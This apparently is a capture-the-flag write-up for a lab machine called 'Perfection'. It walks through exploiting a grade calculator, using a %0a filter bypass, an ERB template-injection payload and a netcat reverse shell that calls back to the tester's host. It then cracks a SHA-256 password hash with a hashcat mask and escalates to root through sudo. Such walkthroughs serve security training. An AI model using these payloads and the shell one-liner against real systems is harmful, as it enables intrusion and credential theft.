

# Perfection

## Scanning

```
(moghees@kali)-[~/lab]
$ cat nmap.scan
# Nmap 7.94SVN scan initiated Sun Mar  3 20:32:34 2024 as: nmap -A -sC -sV -oN nmap.scan 10.10.11.253
Nmap scan report for 10.10.11.253
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp    open  http     nginx
|_ http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar  3 20:33:10 2024 -- 1 IP address (1 host up) scanned in 35.83 seconds
```

## Enumeration

- Directory Busting didnt found anything.
- Subdomain fuzzing didnt get anything.
- Then I started capturing requests, and found l injection vulnerability in Grade Calculator. But there were filters.

```
</form>
Malicious input blocked
</div>
```

- After trying different inputs, I realized **%0a** can bypass filter. But my commands were not getting executed.
- Then I realized there is **SSTI** vulnerability. Then I tried this payload: **<%= system("whoami") %>**
- It returned:

```
</form>
Your total grade is 1%<p>
  A
  true: 1%
</p>
<p>
  B: 0%
```

## Foothold

- This means the command is executed successfully. Then I tried different reverse shell payloads and this one worked.

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

- Final Payload:

```
category1=A%0a<%25%3d+system("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|bin/sh+-i+2>%261|nc+10.10.14.156+69+>/tmp/f")+%25>
```

```
susan@perfection:~$ id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
susan@perfection:~$ █
```

## Privilege Escalation

### SUID

```
susan@perfection:~$ find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/libexec/polkit-agent-helper-1
susan@perfection:~$ █
```

### Sudo -l

Password needed.

### Enumeration

```
susan@perfection:~$ ls
linpeas.sh Migration ruby_app user.txt
susan@perfection:~$ cd Migration/
susan@perfection:~/Migration$ ls
pupilpath_credentials.db
susan@perfection:~/Migration$ cat pupilpath_credentials.db
CREATE TABLE users (
  id INTEGER PRIMARY KEY,
  name TEXT,
  password TEXT
)
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
susan@perfection:~/Migration$
```

```
susan@perfection:~$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be converted into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student
```

So, I generated a wordlist using a script but it was a bad idea.

Then used hashcat mask to crack the password:

```
hashcat -m 1400 -a 3 "abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f" susan_nasus_?d?d?d?d?d?d?d?d?d
```

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hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-haswell-Intel(R) Core(TM) i5-6300U CPU @ 2.40GHz, 2859/5783 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
```

```
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
```

```
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1400 (SHA2-256)
Hash.Target.....: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934 ... 39023f
Time.Started.....: Tue Mar 5 04:08:06 2024 (3 mins, 27 secs)
Time.Estimated...: Tue Mar 5 04:11:33 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.....: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 1348.5 kH/s (0.54ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 324558848/1000000000 (32.46%)
Rejected.....: 0/324558848 (0.00%)
Restore.Point....: 324556800/1000000000 (32.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_126824210 → susan_nasus_803824210
Hardware.Mon.#1..: Temp: 64c Util: 63%
```

Username: **susan**

Password: **susan\_nasus\_413759210**

```
susan@perfection:~$ sudo -l
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL
susan@perfection:~$ sudo su
root@perfection:/home/susan#
```